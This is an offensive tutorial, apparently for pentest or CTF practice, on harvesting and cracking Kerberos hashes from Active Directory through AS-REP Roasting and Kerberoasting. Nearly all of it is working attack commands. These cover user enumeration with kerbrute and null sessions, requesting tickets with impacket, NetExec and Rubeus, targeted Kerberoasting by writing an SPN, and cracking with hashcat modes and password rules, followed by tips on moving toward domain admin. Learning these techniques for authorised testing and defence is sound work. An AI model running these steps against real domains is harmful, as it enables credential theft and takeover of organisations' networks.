Kerberoasting and AS-REP Roasting: crackable hashes from Active Directory

These are the two most rewarding attacks when you start on an Active Directory: they exploit no software bug, just how Kerberos works. Both give you a hash you crack offline, without locking accounts or making noise on the domain controller.

Before you start

Add the domain and DC to /etc/hosts and sync your clock: Kerberos rejects requests more than 5 minutes off.

echo '10.10.10.10 dc01.corp.local corp.local' | sudo tee -a /etc/hosts
sudo ntpdate 10.10.10.10        # or: sudo rdate -n 10.10.10.10

AS-REP Roasting (no credentials)

Normally, to request a TGT you have to prove you know the password (preauthentication). If an account has that check disabled (DONT_REQ_PREAUTH), the DC hands a reply encrypted with its password to anyone who asks.

1. Get usernames

Without credentials, try:

# Kerbrute validates users over Kerberos (and flags any that do not require preauth)
kerbrute userenum -d corp.local --dc 10.10.10.10 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# Null / guest session over SMB or RPC, if the DC allows it
nxc smb 10.10.10.10 -u '' -p '' --users
nxc smb 10.10.10.10 -u 'guest' -p '' --rid-brute

Names from the company website (jsmith, john.smith) work too: generate variants with username-anarchy.

2. Request the AS-REPs

impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10 -format hashcat -outputfile asrep.txt

If you already have a user, you can ask LDAP for the list of vulnerable accounts directly:

impacket-GetNPUsers corp.local/user:'Password1' -dc-ip 10.10.10.10 -request -format hashcat
nxc ldap 10.10.10.10 -u user -p 'Password1' --asreproast asrep.txt

3. Crack

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting (with any user)

Any domain user can request a ticket for any service. That ticket is encrypted with the password of the account running the service. If it is a user account (not a machine account) with a hand-picked password, it can be cracked.

# List accounts with an SPN and request their tickets
impacket-GetUserSPNs corp.local/user:'Password1' -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# Same thing with NetExec
nxc ldap 10.10.10.10 -u user -p 'Password1' --kerberoasting tgs.txt

From a shell on a domain-joined Windows host, with Rubeus:

.\Rubeus.exe kerberoast /outfile:tgs.txt
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

Crack according to the encryption type, shown at the start of the hash:

hashcat -m 13100 tgs.txt rockyou.txt   # $krb5tgs$23$...  (RC4)
hashcat -m 19700 tgs.txt rockyou.txt   # $krb5tgs$18$...  (AES256, much slower)

Targeted Kerberoasting

If you have write rights over another user (GenericWrite, GenericAll, WriteProperty on servicePrincipalName), you can give it an SPN, request its ticket and remove the SPN again. BloodHound shows you those rights; targetedKerberoast.py does it all in one go:

python3 targetedKerberoast.py -d corp.local -u user -p 'Password1' --dc-ip 10.10.10.10

Usual errors

• KDC_ERR_C_PRINCIPAL_UNKNOWN in GetNPUsers: that user does not exist. This is exactly what Kerbrute uses to enumerate.
• KDC_ERR_PREAUTH_REQUIRED: the user exists but is not vulnerable to AS-REP Roasting.
• No SPNs come back: machine accounts (DC01$) and krbtgt do not count; their passwords are random and very long.
• The hash does not crack with rockyou: try rules (-r /usr/share/hashcat/rules/best64.rule) and a list with the company name, season and year (Corp2024!, Autumn2024).

What next

With the new password, enumerate again: what can that account reach (SMB, WinRM, MSSQL)? Service accounts tend to have more privileges than they should, and are often the path to domain admin. Run BloodHound with them and see which paths open up.